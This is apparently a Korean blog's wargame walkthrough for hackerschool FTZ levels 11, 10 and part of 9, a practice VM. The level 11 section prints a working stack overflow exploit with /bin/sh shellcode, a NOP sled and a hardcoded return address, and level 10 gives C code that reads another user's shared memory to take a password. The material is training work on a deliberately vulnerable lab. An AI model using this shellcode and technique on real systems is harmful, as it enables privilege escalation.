Media Log


 사람마다 푸는 방식이 다를 수 있으니. 어려움에 있으실 때 참조만 하시고, 직접 풀어보시는 것 을 추천합니다.



이제 부터는, 버퍼오버플로우에 대한 내용이 많이 나옵니다. 

제가 처음에 배울때 버퍼오버플로우에 대해 아주 적은 지식을 가지고 있어서, 추천받았던 자료가 있는데,


해커_지망생이_알아야할_bof_기초-달고나.pdf


달고나 님의 BOF PDF 자료 입니다. 쭉 읽고 공부하신 뒤에 시작하시길 바랍니다.




level11 의 시작.


구동 환경 : Windows 7 

서버 환경 : VMware WorkStation 10.0 Redhat9.0 hackerschool FTZ

사용 플램 : putty (퓨티)


login as : level11

password :


그리고 여태까지 늘 힌트를 찾았던 ls -al 명령어를 실행


[level11@ftz level11]$ ls -al
total 96
drwxr-xr-x    4 root     level11      4096 Mar 19  2003 .
drwxr-xr-x   34 root     root         4096 Sep 30 02:00 ..
-rwsr-x---    1 level12  level11     13733 Mar  8  2003 attackme
-rw-------    1 root     root            1 Jan 15  2010 .bash_history
-rw-r--r--    1 root     level11        24 Feb 24  2002 .bash_logout
-rw-r--r--    1 root     level11       224 Feb 24  2002 .bash_profile
-rw-r--r--    1 root     level11       151 Feb 24  2002 .bashrc
-rw-r--r--    1 root     level11       400 Jan 25  1999 .cshrc
-rw-r--r--    1 root     level11      4742 Jan 25  1999 .emacs
-r--r--r--    1 root     level11       319 Jan 25  1999 .gtkrc
-rw-r--r--    1 root     level11       100 Jan 25  1999 .gvimrc
-rw-r-----    1 root     level11       168 Mar  8  2003 hint
-rw-r--r--    1 root     level11       226 Jan 25  1999 .muttrc
-rw-r--r--    1 root     level11       367 Jan 25  1999 .profile
drwxr-xr-x    2 root     level11      4096 Feb 24  2002 public_html
drwxrwxr-x    2 root     level11      4096 Jan 14  2009 tmp
-rw-r--r--    1 root     root            1 May  7  2002 .viminfo
-rw-r--r--    1 root     level11      4145 Jan 25  1999 .vimrc
-rw-r--r--    1 root     level11       245 Jan 25  1999 .Xdefaults


attackme 가 존재하고, hint 파일이 존재한다.

힌트파일을 먼저 cat 명령어로 보고 시작하자.


[level11@ftz level11]$ cat hint

#include <stdio.h>

#include <stdlib.h>

 

int main( int argc, char *argv[] )

{

char str[256];


  setreuid( 3092, 3092 );

strcpy( str, argv[1] );

printf( str );


Strcpy 의 취약점이 존재하신다는 것을 아실 수 있습니다.

str 크기는 256byte 를 할당해주네요.


그리고 attackme 를 실행보니, Segmentation fault 오류가 발생하는 것으로 보실 수 있습니다.

attackme 에 아무 문구나 넣어도, 그냥 그 입력한 값이 다시 텔을 하는 것을 보실 수 있습니당.

[level11@ftz level11]$ ./attackme

Segmentation fault

[level11@ftz level11]$ ./attackme 123

123

[level11@ftz level11]$


그렇다면 gdb로 내부를 들여다보겠습니다.


[level11@ftz level11]$ gdb attackme

GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)

Copyright 2003 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB.  Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux-gnu"...


(gdb) disas main

Dump of assembler code for function main:

0x08048470 <main+0>:    push   %ebp

0x08048471 <main+1>:    mov    %esp,%ebp

0x08048473 <main+3>:    sub    $0x108,%esp 

0x08048479 <main+9>:    sub    $0x8,%esp

0x0804847c <main+12>:   push   $0xc14

0x08048481 <main+17>:   push   $0xc14

0x08048486 <main+22>:   call   0x804834c <setreuid>

0x0804848b <main+27>:   add    $0x10,%esp

0x0804848e <main+30>:   sub    $0x8,%esp

0x08048491 <main+33>:   mov    0xc(%ebp),%eax

0x08048494 <main+36>:   add    $0x4,%eax

0x08048497 <main+39>:   pushl  (%eax)

0x08048499 <main+41>:   lea    0xfffffef8(%ebp),%eax

0x0804849f <main+47>:   push   %eax

0x080484a0 <main+48>:   call   0x804835c <strcpy>

0x080484a5 <main+53>:   add    $0x10,%esp

0x080484a8 <main+56>:   sub    $0xc,%esp

0x080484ab <main+59>:   lea    0xfffffef8(%ebp),%eax

0x080484b1 <main+65>:   push   %eax

0x080484b2 <main+66>:   call   0x804833c <printf>

0x080484b7 <main+71>:   add    $0x10,%esp

0x080484ba <main+74>:   leave

0x080484bb <main+75>:   ret

0x080484bc <main+76>:   nop

0x080484bd <main+77>:   nop

0x080484be <main+78>:   nop

---Type <return> to continue, or q <return> to quit---

0x080484bf <main+79>:   nop

End of assembler dump.


0x108을 10진수로 변환시키면 264 라는 숫자가 나오는데,

264라는 숫자 속에는 str의 256byte와 dummy 8byte가 저장되어있다.


메모리구조는 아래와 같다.

[ BUFFER(256 byte) + dummy(8 byte) + SFP(4 byte) + RET(4 byte) ] = 272 byte


달고나님의 문서에서 보면, 25바이트 쉘코드를 사용 할 것이다.


● 25바이트 쉘코드

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80


쉘코드가 25바이트 이므로, RET을 제외한 byte 인 268 에서 25 byte 쉘코드를 빼준다. 빼주면, 243 byte 가 남는다. 


243 byte 에 \x90(NOP) 값을 덮고 쉘코드를 덮은 뒤, RET의 주소를 찾아보겠습니다.


(gdb) r `python -c 'print "\x90"*243+"A"*25+"\x90\x90\x90\x90"'`


gdb 명령어인 r으로 python -c 실행을 한뒤에 메모리 구조를 확인해보면,


(gdb) x/268x $esp

0xbffffb50: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffffb60: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffffb70: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffffb80: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffffb90: 0x90909090 0x90909090 0x90909090 0x90909090


RET 의 주소를 0xbffffb50 으로 잡고 공격을 해보도록 하겠습니다.


[level11@ftz level11]$ ./attackme `python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x50\xfb\xff\xbf"'`


공격해보니, 성공적으로 버퍼오버플로우가 일어난 것을 보실 수 있습니다.


[level11@ftz level11]$ ./attackme `python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x50\xfb\xff\xbf"'`

sh-2.05b$ my-pass

TERM environment variable not set.

Level12 Password is ~~~~~~~~~~~

sh-2.05b$


level11도 끝이 났다. 버퍼오버플로우 문제였는데 11번부터 엄청나게 어려움을 겪었다.

처음엔 어려워도 나중에 하면 할수록 쉬워질 것이라고 생각한다.

'Wargame > hackschool FTZ' 카테고리의 다른 글

hackerschool FTZ : level11 풀이  (0) 2013.10.20
hackerschool FTZ : level10 풀이  (1) 2013.10.03
hackerschool FTZ : level9 풀이  (0) 2013.10.03
hackerschool FTZ : level8 풀이  (0) 2013.10.02
hackerschool FTZ : level7 풀이  (0) 2013.10.02
hackerschool FTZ : level6 풀이  (0) 2013.10.01

submit

 사람마다 푸는 방식이 다를 수 있으니. 어려움에 있으실 때 참조만 하시고, 직접 풀어보시는 것 을 추천합니다.




level10 의 시작.


구동 환경 : Windows 7 

서버 환경 : VMware WorkStation 10.0 Redhat9.0 hackerschool FTZ

사용 플램 : putty (퓨티)


login as : level10

password :


level9에서 끝냈을 때 받았던 비밀번호를 입력 해준 다음에 로그인 하면 된다.

그리고 여태까지 늘 힌트를 찾았던 ls -al 명령어를 실행


[level10@ftz level10]$ ls -al

total 84

drwxr-xr-x    5 root     level10      4096 Jan 14  2010 .

drwxr-xr-x   34 root     root         4096 Sep 30 02:00 ..

-rw-------    1 root     root            1 Jan 15  2010 .bash_history

-rw-r--r--    1 root     root           24 Feb 24  2002 .bash_logout

-rw-r--r--    1 root     root          224 Feb 24  2002 .bash_profile

-rw-r--r--    1 root     root          151 Feb 24  2002 .bashrc

-rw-r--r--    1 root     root          400 Sep 24  2000 .cshrc

-rw-r--r--    1 root     root         4742 Sep 24  2000 .emacs

-r--r--r--    1 root     root          319 Sep 24  2000 .gtkrc

-rw-r--r--    1 root     root          100 Sep 24  2000 .gvimrc

-rw-r-----    1 root     level10       253 Jan 14  2010 hint

-rw-r--r--    1 root     root          226 Sep 24  2000 .muttrc

-rw-r--r--    1 root     root          367 Sep 24  2000 .profile

drwxr-x---    2 root     root         4096 Mar 29  2003 program

drwxr-xr-x    2 root     level10      4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level10      4096 Jan 16  2009 tmp

-rw-------    1 root     root            1 May  7  2002 .viminfo

-rw-r--r--    1 root     root         4145 Sep 24  2000 .vimrc

-rw-r--r--    1 root     root          245 Sep 24  2000 .Xdefaults


역시나 hint 파일은 존재한다. 이제 cat 명령어로 hint 를 들여다보자.

[level10@ftz level10]$ cat hint

두명의 사용자가 대화방을 이용하여 비밀스런 대화를 나누고 있다.
그 대화방은 공유 메모리를 이용하여 만들어졌으며,
key_t의 값은 7530이다. 이를 이용해 두 사람의 대화를 도청하여
level11의 권한을 얻어라.

- 레벨을 완료하셨다면 소스는 지우고 나가주세요.

[level9@ftz level9]$

힌트는 위와 같이 나왔다.



공유 메모리에 대한 문제이다.

처음에는 이 문제를 접했을 때, 공유 메모리에 대해서 검색했다.


그랬더니 공유 메모리에 대한 정리가 깔끔하게 적힌 사이트가 나와 있어서 아래에 내용을 가져왔다. 


공유메모리 (shared memory) ? 


출처 ( http://www.joinc.co.kr/modules/moniwiki/wiki.php/Site/system_programing/IPC/SharedMemory )


보통 프로세스에서 사용되는 메모리영역은 해당 프로세스만이사용할수 있다. 

하지만 때때로 여러개의 프로세스가 특정 메모리영역을 사용했으면 하는때가 있을것이다.

System V IPC 설비중의 하나인 "공유메모리"를 통해서 이러한일을 할수있다.


#개요 



모든 프로세스(:12)는 자신의 업무를 수행하기 위해서 필요한 자료를 저장하기 위한 메모리 공간을 가지게 된다. 

이러한 메모리공간에는 CPU에 의해 수행되는 명령어들, 프로그램 시작시 정의되고 초기화된 데이타, 프로그램 시작시 정의되었지만 초기화 되지 않은 데이타, 함수호출에 필요한 정보, 동적할당이 이루어지는 데이타등 이 들어가게 된다. 

hjh 프로세스는 시작시 혹은 실행중에 이러한 데이타를 저장하고 사용하기 위한 메모리 공간을 커널에 요구하여서 할당받아 사용하게 되는데, 이러한 메모리공간은 기본적으로 메모리를 요청한 프로세스만이 접근가능하도록 되어있다. 

하지만 가끔은 여러개의 프로세스가 특정 메모리 공간을 동시에 접근해야할 필요성을 가질때가 있을것이다.


공유메모리는 이러한 작업을 위한 효율적인 방법을 제공한다.

공유메모리는 여러 IPC 중에서 가장 빠른 수행속도를 보여준다.


그이유는 하나의 메모리를 공유해서 접근하게 되므로, 데이타 복사와 같은 불필요한 오버헤드가 발생하지 않기 때문으로, 빠른 데이타의 이용이 가능하다. 그러나 하나의 프로세스가 메모리에 접근중에 있을때, 또다른 프로세스가 메모리에 접근하는 일이 발생하면 자칫 데이타가 홰손될수 있을것이므로, 한번에 하나의 프로세스가 메모리에 접근하고 있다는걸 보증해줄수 있어야 할것이다.


이러한 작업을 위해서 Unix(:12) 에서는 Semaphore(:12) 라는 또다른 공유자원을 제어할수 있도록 해주는 도구를 제공해준다. 이번 문서에서는 Semaphore 를 다루지는 않을것이다. 이것은 다른 문서에서 다루도록 하고 여기에서는 단지 공유메모리에 대해서만 다루도록 할것이다.


다음은 공유메모리에 관련된 함수들의 모음이다.

#include <sys/types.h>

#include <sys/shm.h>


int shmget(key_t key, int size, int shmflg)

void *shmat( int shmid, const void *shmaddr, int shmflg )

int shmdt( const void *shmaddr)

int shmctl(int shmid, int cmd, struct shmid_ds *buf)


#공유메모리는 어떻게 할당되는가 



위의 함수들을 설명하기 전에 우선 공유메모리가 어떻게 할당되고, 어떤 과정을 통해서 접근가능한지에 대해서 우선 알아보도록 하겠다.


공유메모리의 생성요청은 최초 공유메모리 영역을 만드는 프로세스가 커널에 공유메모리 공간의 할당을 요청함으로써 이루어지며, 만들어진 공유메모리는 커널에 의해서 관리 되게 된다.


이런 이유로 한번만들어진 공유메모리는 운영체제를 리부팅하거나, 직접 공유메모리 공간을 삭제시켜주지 않은한, 공유메모리를 사용하는 모든 프로세스가 없어졌다고 하더라도, 계속적으로 유지되게 된다.


프로세스가 커널에게 공유메모리 공간을 요청하게 되면, 커널은 공유메모리 공간을 할당시켜주고 이들 공유메모리공간을 관리하기 위한 내부자료구조를 통하여, 이들 공유메모리를 관리하게 된다. 이 자료는 shmid_ds 라는 구조체에 의해서 관리되며 shm.h 에 정의되어 있다.

struct shmid_ds

{

    struct         ipc_perm shm_perm;    // 퍼미션

    int            shm_segsz;            // 메모리 공간의 크기

    time_t         shm_dtime;            // 마지막 attach 시간 

    time_t         shm_dtime;            // 마지막 detach 시간 

    time_t         shm_ctime;            // 마지막 변경 시간

    unsigned short shm_cpid;             // 생성프로세스의 pid

    unsigned short shm_lpid;             // 마지막으로 작동한 프로세스의 pid

    short          shm_nattch;           // 현재 접근한 프로세스의 수

};

Unix 버젼에 따라서 멤버변수들이 약간씩 차이를 보일수 있다.

 shm_perm 공유메모리는 여러개의 프로세스가 동시에 접근 가능하므로, 파일과 같이 그 접근권한을 분명히 명시해줘야 한다.

 shm_segsz 할당된 메모리의 byte 크기이다

 shm_atime 가장최근의 프로세스가 세그먼트를 attach한 시간

 shm_dtime 가장최근의 프로세스가 세그먼트를 detach한 시간

 shm_ctime 마지막으로 이 구조체가 변경된 시간

 shm_cpid 이 구조체를 생성한 프로세스의 pid

 shm_lpid 마지막으로 작동을 수행한 프로세스의 pid

 shm_nattch 현재 접근중인 프로세스의 수


이러한 공유메모리에 접근을 하기 위해서는 고유의 공유메모리 key 를 통해서 접근가능해지며, 이 key값을 통해서 다른 여러개의 공유메모리들과 구분되어 질수 있다.


#shmget 



shmget 은 커널에 공유메모리 공간을 요청하기 위해 호출하는 시스템 호출 함수이다. key 는 바로 위에서 설명했듯이 고유의 공유메모리임을 알려주기 위해서 사용된다. shmget 을 이용해서 새로운 공유메모리 영역을 생성하거나 기존에 만들어져있던 공유메모리 영역을 참조할수 있다 

  첫번째 아규먼트는 여러개의 공유메모리중 원하는 공유메모리에 접근하기 위한 Key 값이다. 이 Key 값은 커널에 의해서 관리되며, Key 값을 통해서 선택적인 공유메모리에의 접근이 가능하다.    두번째 아규먼트는 공유메모리 의 최소크기 이다. 새로운 공유메모리를 생성하고자 한다면 크기를 명시해주어야 한다.  존재하는 메모리를 참조한다면 크기는 0으로 명시한다.   3번째 아규먼트는 공유메모리의 접근권한과, 생성방식을 명시하기 위해서 사용한다. 아규먼트의 생성방식을 지정하기 위해서 IPC_CREAT 와 IPC_EXCL 을 사용할수 있다. 아래 이들에 대해서 설명을 해두었다. 


IPC_CREAT

key 를 이용 새로운 공유메모리 공간을 만든다.

IPC_EXCL

IPC_CREAT와 같이 사용되며, 공유메모리 공간이 이미 존재할경우 error 를 되돌려준다. 


만약 IPC_CREAT 만 사용된다면 shmget()은 새로 생성되는 공유메모리공간을 지시하는 공유메모리공간 "식별자" 되돌려준다. 만약 입력된 key 값이 지시하는 공유메모리 공간이 이미 존재하고 있다면 존재하는 공유메모리 공간의 "식별자"를 되돌려준다. IPC_EXCL 과 IPC_CREAT 를 같이 사용할경우, 공유메모리 공간이 존재하지 않으면 새로 생성시켜주며, 존재할경우에 error 를 되돌려준다.


3번째 아규먼트는 이외에도 권한을 지정해줄수도 있다. 권한은 파일권한과 동일하게, 유저, 그룹, Other 에 대한 읽기/쓰기 권한을 지정할수 있다. 단 실행권한은 줄수 없도록 되어 있다. 아래와 같이 사용가능하다.


int shmid;

key_t keyval;


keyval = 1234;

shmid = shmget(keyval, 1024, IPC_CREAT | 0666)); 

if (shmid == -1)

{

    return -1;

}


#shmat 



일단 공유메모리 공간을 생성했으면, 우리는 공유메모리에 접근할수 있는 int 형의 "식별자" 를 얻게 된다. 우리는 이 식별자를 shmat 를 이용해서 지금의 프로세스가 공유메모리를 사용가능하도록 "덧붙임" 작업을 해주어야 한다.


첫번째 아규먼트는 shmget을 이용해서 얻어낸 식별자 번호이며, 두번째 아규먼트는 메모리가 붙을 주소를 명시하기 위해 사용하는데, 0을 사용할경우 커널이 메모리가 붙을 주소를 명시하게 된다. 특별한 사항이 없다면 0을 사용하도록 한다. 세번째 아규먼트를 이용해서, 우리는 해당 공유메모리에 대한 "읽기전용", "읽기/쓰기가능" 모드로 열수 있는데, SHM_RDONLY를 지정할경우 읽기 전용으로, 아무값도 지정하지 않을경우 "읽기/쓰기 가능" 모드로 열리게 된다. 


#shmdt 



프로세스가 더이상 공유메모리를 사용할필요가 없을경우 프로세스와 공유메모리를 분리 하기 위해서 사용한다. 이 함수를 호출할 경우 단지 현재 프로세스와 공유메모리를 분리시킬뿐이지, 공유메모리 내용을 삭제하지는 않는다는 점을 기억해야 한다. 공유메모리를 커널상에서 삭제 시키길 원한다면 shmctl 같은 함수를 이용해야 한다.


shmdt 가 성공적으로 수행되면 커널은 shmid_ds 의 내용을 갱신한다. 즉 shm_dtime, shm_lpid, shm_nattch 등의 내용을 갱신하는데, shm_dtime 는 가장 최근에 dettach (즉 shmdt 를 사용한)된 시간, shm_lpid 는 호출한 프로세세의 PID, shm_nattch 는 현재 공유메모리를 사용하는 (shmat 를 이용해서 공유메모리에 붙어있는) 프로세스의 수를 돌려준다. shmdt 를 사용하게 되면 shm_nattch 는 1 감소하게 될것이며, shm_nattch 가 0 즉 더이상 붙어있는 프로세스가 없다라는 뜻이 될것이다. shm_nattch 가 0이 되어있을때 만약 이 공유메모리가 shm_ctl 등에 의해 삭제표시 가 되어 있다면, 이 공유메모리는 삭제되게 된다.


#shmctl 



이것은 공유메모리를 제어하기 위해서 사용한다. 즉 shmid_ds 를 직접 제어함으로써, 해당 공유메모리에 대한 소유자, 그룹 등의 허가권을 변경하거나, 공유메모리를 삭제혹은, 공유메모리의 잠금을 설정하거나 해제하는 등의 작업을 한다.


2번째 아규먼트를 이용해서 shmid 가 가르키는 공유메모리를 제어하며, cmd 를 이용해서 원하는 제어를 할수 있다. cmd 를 이용해 내릴수 있는 명령에는 다음과 같은 것들이 있다.

 IPC_STAT 공유메모리 공간에 관한 정보를 가져오기 위해서 사용된다. 정보는 buf 에 저장된다.

 IPC_SET 공유메모리 공간에 대한 사용자권한 변경을 위해서 사용된다. 사용자 권한 변경을 위해서는 슈퍼유저 혹은 사용자권한을 가지고 있어야 한다.

 IPC_RMID 공유메모리 공간을 삭제하기 위해서 사용된다. 이 명령을 사용한다고 해서 곧바로 사용되는건 아니며, 더이상 공유메모리 공간을 사용하는 프로세스가 없을때, 즉 shm_nattch 가 0일때 까지 기다렸다가 삭제된다. 즉 해당 공유메모리 공간에 대해서 삭제표시를 하는거라고 생각하면 된다. 


다음은 실제로 공유메모리를 사용하는 방법에 대한 가장간단한 예제이다. 자식과 부모프로세스간에 어떻게 메모리가 공유되는지 보여준다.


예제 : shm.c

#include <sys/ipc.h> 

#include <sys/shm.h> 

#include <string.h> 

#include <unistd.h> 



int main()

{

    int shmid;

    int pid;


    int *cal_num;

    void *shared_memory = (void *)0;



    // 공유메모리 공간을 만든다.

    shmid = shmget((key_t)1234, sizeof(int), 0666|IPC_CREAT);


    if (shmid == -1)

    {

        perror("shmget failed : ");

        exit(0);

    }


    // 공유메모리를 사용하기 위해 프로세스메모리에 붙인다. 

    shared_memory = shmat(shmid, (void *)0, 0);

    if (shared_memory == (void *)-1)

    {

        perror("shmat failed : ");

        exit(0);

    }


    cal_num = (int *)shared_memory;

    pid = fork();

    if (pid == 0)

    {

        shmid = shmget((key_t)1234, sizeof(int), 0);

        if (shmid == -1)

        {

            perror("shmget failed : ");

            exit(0);

        }

        shared_memory = shmat(shmid, (void *)0, 0666|IPC_CREAT);

        if (shared_memory == (void *)-1)

        {

            perror("shmat failed : ");

            exit(0);

        }

        cal_num = (int *)shared_memory;

        *cal_num = 1;


        while(1)

        {

            *cal_num = *cal_num + 1;

            printf("child %d\n", *cal_num); 

            sleep(1);

        }

    }


    // 부모 프로세스로 공유메모리의 내용을 보여준다. 

    else if(pid > 0)

    {

        while(1)

        {

            sleep(1);

            printf("%d\n", *cal_num);

        }

    }

}

예제 프로그램이 하는 일은 간단하다.

int 형의 공유메모리 공간을 할당한다음. 자식프로세스에서 여기에 1씩을 더하고 부모프로세스에서는 공유메모리 내용을 출력하는 일을한다.


# 공유메모리 제어하기 



쉘에서 공유메모리의 상황을 보여주기 위해서 ipcs(1)란 도구를 제공한다. 

ipcs 를 사용하면 공유메모리 뿐만 아닌, Semaphore, Message Queue 등 소위 sytem V IPC 설비에 대한 내용을 보여준다. 

그리고 ipcrm 도구를 이용해서 필요없는 공유메모리, Message Queue, Semaphore 등을 지워줄수 있다.


위의 예제코드를 컴파일 시켜서 실행시킨다음 ipcs 를 이용해서 확인을 해보면 공유메모리 자원이 어떤식으로 관리되는지 좀더 이해를 쉽게 할수 있을것이다.


# 공유 메모리 정보 확인 



-l 옵션과 함께 ipcs를 실행하면 ipc(:12)자원 제한 정보를 확인할 수 있다.

$ ipcs -l

------ Shared Memory Limits --------

max number of segments = 4096

max seg size (kbytes) = 32768

max total shared memory (kbytes) = 8388608

min seg size (bytes) = 1


------ Semaphore Limits --------

max number of arrays = 128

max semaphores per array = 250

max semaphores system wide = 32000

max ops per semop call = 32

semaphore max value = 32767


------ Messages: Limits --------

max queues system wide = 1706

max size of message (bytes) = 8192

default max size of queue (bytes) = 16384


-m 옵션으로 실행하면 현재 사용중인 ipc 자원 정보를 확인할 수 있다.

$ ipcs -m


------ Shared Memory Segments --------

key        shmid      owner      perms      bytes      nattch     status      

0x00000000 0          root       777        135168     2                       

0x00000000 819201     yundream   600        393216     2          dest         

0x00000000 950274     yundream   600        393216     2          dest         

0x00000000 983043     yundream   600        393216     2          dest         

0x00000000 917508     yundream   600        393216     2          dest         

0x00000000 1015813    yundream   600        393216     2          dest         

0x00000000 1048582    yundream   600        393216     2          dest         

0x00000000 27590663   yundream   600        393216     2          dest         

0x00000000 35684360   yundream   666        4343780    2          dest         

0x00000000 35717129   yundream   666        282808     2          dest  


# /proc 파일 시스템으로 제어하기 


리눅스 운영체제(:12)는 /proc 파일 시스템으로 공유 메모리 자원 값을 변경할 수 있다.

 /proc/sys/kernel/shmmax : 프로세스가 생성할 수 있는 공유 메모리의 최대 크기

 /proc/sys/kernel/shmall : 현재 사용중인 공유 메모리 크기

프로세스가 생성할 수 있는 공유 메모리 크기는 다음과 같이 변경하면 된다.

// 500M로

# echo 536870912 > /proc/sys/kernel/shmmax



공유 메모리에 대한 공부를 했다면 이제, 문제를 풀러 가보자.


[level10@ftz level10]$ cat hint


두명의 사용자가 대화방을 이용하여 비밀스런 대화를 나누고 있다.

그 대화방은 공유 메모리를 이용하여 만들어졌으며,

key_t의 값은 7530이다. 이를 이용해 두 사람의 대화를 도청하여

level11의 권한을 얻어라.


- 레벨을 완료하셨다면 소스는 지우고 나가주세요.


힌트를 다시 한번 봐보면, key_t 의 값은 7530 이라고 적혀있다.

근데 뭐가 뭐고 알 수가 없었기에, 공유 메모리 관련된 명령어인 ipcs 를 쳐서 내용을 보았다.


[level10@ftz level10]$ ipcs


------ Shared Memory Segments --------

key        shmid      owner      perms      bytes      nattch     status

0x00001d6a 0          root      666        1028       0

0x46532e4f 32769      trainer1  777        5          0


------ Semaphore Arrays --------

key        semid      owner      perms      nsems


------ Message Queues --------

key        msqid      owner      perms      used-bytes   messages


[level10@ftz level10]$


우리가 봐야할 것은 빨간색으로 적힌 4가지의 내용이다.


해석을 해보자면,


key : 0x00001d6a 16진수

를, 10진수로 변환부터 시켜보면,


[18:32:50] @진수변환 16 0x00001d6a

[18:32:50] <봇> [ 진수변환 ] ' 00001d6a ' 16진수(Hex) -> 10진수(Decimal) 변환 결과 : 7530

[위의 프로그램은 개인적으로 프로그래밍으로 만들어 둔 프로그램으로 변환 시킨 것이다.]

7530이라는 10진수의 값이 나온다.

힌트에서 알려줬던 것이 7530이라는 key_t 힌트이었다.


그리고 root 권한을 가진사림이 존재하고 퍼미션은 666 이라고 한다. byte의 크기는 1028byte 이다.

현재 디텍토리에서는 cat 명령어로 .c 파일을 만들 수 없으니, /tmp 임시파일 디텍토리로 이동하자.


그런다음 C 파일을 작성하자. ( 공유메모리를 공부한 상태이어야한다. )

[level10@ftz tmp]$ cat > abc.c

#include <stdio.h>

#include <sys/shm.h>                // 공유메모리 관련 헤더파일

#include <sys/ipc.h>                 // 공유메모리 관련 헤더파일


int main(){

        int i;                                  // int 형으로 변수 i 선언

        char *pA;                           // char 형으로 포인터변수 pA 선언


        i = shmget(7530, 1028, IPC_CREAT|0666); // 변수 i 에 내용을 넣는다.

        // shmget ?

        // shmget([key_t key], [int size], [int shmflg]); 

  // key_t=7530, size=1028, shmflg 는 키값 공유메모리가 없어, IPC_CREAT 옵션으로 퍼미션 0666을 설정한다.

        pA = shmat(i, NULL, 0); // shmat 를 이용해서 공유메모리를 "사용가능" 으로 변경


        printf("%s", pA); // pA를 문자열로 출력한다.

        return 0; // '0' 반환하여 main 을 끝낸다.

}


흰색이 아닌 색상이 들어간 내용들은 주석처리이다.

어려움을 느낄 수도 있어서 주석처리를 했다. 프로그램을 작성한 후, 이제 gcc로 컴파일을 하자.


[level10@ftz tmp]$ gcc -o abc abc.c

[level10@ftz tmp]$ ls -al

total 40

drwxrwxrwt    4 root     root         4096 Sep 30 21:42 .

drwxr-xr-x   19 root     root         4096 Sep 30 02:44 ..

-rwxrwxr-x    1 level10  level10     11767 Sep 30 21:42 abc

-rw-rw-r--    1 level10  level10       193 Sep 30 21:41 abc.c

drwxrwxrwt    2 xfs      xfs          4096 Sep 30 02:44 .font-unix

-rw-rw-r--    1 level5   level5         31 Sep 30 13:49 level5.tmp

drwxr-xr-x    2 root     root         4096 Sep 30 10:38 .mozilla

-rw-------    1 root     root         1024 Sep 30 10:32 .rnd


gcc로 컴파일성공, 그리고 현재 있는 디텍토리의 내용을 확인.

abc 라는 파일이 생겨졌음을 알 수있다. 그렇다면 ./ 명령어로 abc 를 실행해보자.


[level10@ftz tmp]$ ./abc

멍멍: level11의 패스워드는?

구타: ~~~~~~~~~


패스워드가 출력이 되었다.

이제 레벨11로 이동하자. BOF 문제여서 풀이를 작성하기도 힘들 수 있겠다.. 노력하고 공부해서 풀도록 하겠다.

'Wargame > hackschool FTZ' 카테고리의 다른 글

hackerschool FTZ : level11 풀이  (0) 2013.10.20
hackerschool FTZ : level10 풀이  (1) 2013.10.03
hackerschool FTZ : level9 풀이  (0) 2013.10.03
hackerschool FTZ : level8 풀이  (0) 2013.10.02
hackerschool FTZ : level7 풀이  (0) 2013.10.02
hackerschool FTZ : level6 풀이  (0) 2013.10.01
  1. at 2015.02.09 12:12 [edit/del]

    비밀댓글입니다

    Reply

submit

 사람마다 푸는 방식이 다를 수 있으니. 어려움에 있으실 때 참조만 하시고, 직접 풀어보시는 것 을 추천합니다.



level9 의 시작.


구동 환경 : Windows 7 

서버 환경 : VMware WorkStation 10.0 Redhat9.0 hackerschool FTZ

사용 플램 : putty (퓨티)


login as : level9

password :


level8에서 끝냈을 때 받았던 비밀번호를 입력 해준 다음에 로그인 하면 된다.

그리고 여태까지 늘 힌트를 찾았던 ls -al 명령어를 실행


[level9@ftz level9]$ ls -al

total 80

drwxr-xr-x    4 root     level9       4096 Nov 13  2002 .

drwxr-xr-x   34 root     root         4096 Sep 30 02:00 ..

-rw-------    1 root     root            1 Jan 15  2010 .bash_history

-rw-r--r--    1 root     root           24 Feb 24  2002 .bash_logout

-rw-r--r--    1 root     root          224 Feb 24  2002 .bash_profile

-rw-r--r--    1 root     root          151 Feb 24  2002 .bashrc

-rw-r--r--    1 root     root          400 Sep 24  2000 .cshrc

-rw-r--r--    1 root     root         4742 Sep 24  2000 .emacs

-r--r--r--    1 root     root          319 Sep 24  2000 .gtkrc

-rw-r--r--    1 root     root          100 Sep 24  2000 .gvimrc

-rw-r--r--    1 root     root          391 Nov 13  2002 hint

-rw-r--r--    1 root     root          226 Sep 24  2000 .muttrc

-rw-r--r--    1 root     root          367 Sep 24  2000 .profile

drwxr-xr-x    2 root     level9       4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level9       4096 Sep 30 09:33 tmp

-rw-------    1 root     root            1 May  7  2002 .viminfo

-rw-r--r--    1 root     root         4145 Sep 24  2000 .vimrc

-rw-r--r--    1 root     root          245 Sep 24  2000 .Xdefaults


역시나 hint 파일은 존재한다. 이제 cat 명령어로 hint 를 들여다보자.

[level9@ftz level9]$ cat hint

다음은 /usr/bin/bof의 소스이다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

main(){

  char buf2[10];
  char buf[10];

  printf("It can be overflow : ");
  fgets(buf,40,stdin);

  if ( strncmp(buf2, "go", 2) == 0 )
   {
        printf("Good Skill!\n");
        setreuid( 3010, 3010 );
        system("/bin/bash");
   }

}

이를 이용하여 level10의 권한을 얻어라.

[level9@ftz level9]$

힌트는 위와 같이 나왔다.


이제 9 Level 부터는 BOF(Buffer Overflow) 문제가 출제된다.

지금 적고 있는 유 피디도 BOF 에 대해서 많이 어려워 하는중이다..



level9 는 일단 풀기 쉬웠다.


.c 파일을 일단 주석처리로 이해를 도운 다음 설명하겠다.

다음은 /usr/bin/bof의 소스이다.


#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>


main(){


  char buf2[10];                                // char형 변수 buf2 라는 이름에 10바이트의 크기 배열 선언

